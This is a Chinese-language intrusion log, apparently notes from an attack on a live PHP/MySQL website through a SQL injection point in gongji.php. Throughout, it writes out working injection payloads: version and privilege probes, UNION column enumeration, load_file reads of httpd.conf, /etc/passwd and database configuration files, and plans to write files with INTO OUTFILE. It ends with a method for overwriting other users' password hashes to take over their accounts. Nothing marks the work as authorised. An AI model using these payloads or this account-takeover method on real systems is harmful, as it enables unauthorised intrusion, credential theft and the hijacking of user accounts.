|
环境: unix+apache+php+mysql
端口: 21=vsftpd; 22=ssh; mysql=3306 不开放远程连接 |
|
mysql版本4.0以上支持union查询,当前用户权限足够可以load_file
找到个注射点,以下是记录: /gongji.php?ag_id=7 and ord(mid(version(),1,1))>51 /*判断mysql version的第一位是不是大于3 /gongji.php?ag_id=7 and (select count(*) from mysql.user)>0 /*判断权限 /gongji.php?ag_id=7 and 1=2 order by 7 /*快速判断字段 /gongji.php?ag_id=7 and 1=2 union select 1,2,3,4,5,6,7 /*精确确定字段数 ---没有报错信息,利用读取apache配置文件来找web路径--------------------- 默认的配置文件路径:/etc/httpd/conf/httpd.conf 转换成hex类型代入union查询语句。在字段4的位置有足够长度显示内容 /gongji.php?ag_id=7 and 1=2 union select 1,2,3,load_file(0x2F6574632F68747470642F636F6E662F68747470642E636F6E66),5,6,7 得到N多站点的路径,其中目标的路径为:/home/k...ow/www/ 接下来考虑两个方案: a. select 。。。 into outfile 条件:1.需要知道一个表名 2.需要网站没有对'做处理 3.目标路径可写 条件1,2都满足,测试导出到/tmp成功,下面需要找一个可写的目录。分析了下apache配置文件,发现网管把images文件夹穿插这放置的。即这个站点images文件夹放到另外一个站路径下。 b.读网站页面源码,找到库口令,用户表,管理表,后台... 实际上口令还可以试试ftp及ssh 读/etc/passwd密码档得到用户表,找到能够远程登录的用户表。 尝试读取vsftpd配置文件:/etc/vsftpd/vsftpd.conf,vsftpd.ftpuser... 失败可能权限不够 读取几个站的数据库连接文件:/home/k...ow/www/config_db.php或/home/k...ow/www/lib/config_db.php 发现口令统一是*****,帐号不一样。网站都采用同一套系统。用户表:dg_member,fs_member,fs_qa_manager 字段:dm_uid,dm_passwd... c.爆源代码的话还可以顺便找找里面是否有漏洞,比如包含什么的。 d.因为能弄到mysql口令,虽然不能远连,还是可以找找有没有phpMyAdmin这样的东西的。 帐号密码是加密形式的。 Select ENCRYPT('mypassword', 'ab'), ENCRYPT加密。这种算法是不可逆的,强度还不错。 新注册用户是要钱的。 先看下memberl.php中对密码加密的脚本: $am_pwd = crypt ($am_pwd, "Md"); 然后用phpshell或者任意unix下的mysql操作环境执行: select encrypt("123456", "Md") 得到123456的密文 然后可以insert或者update其他用户的pwd密文为123456的密文... |
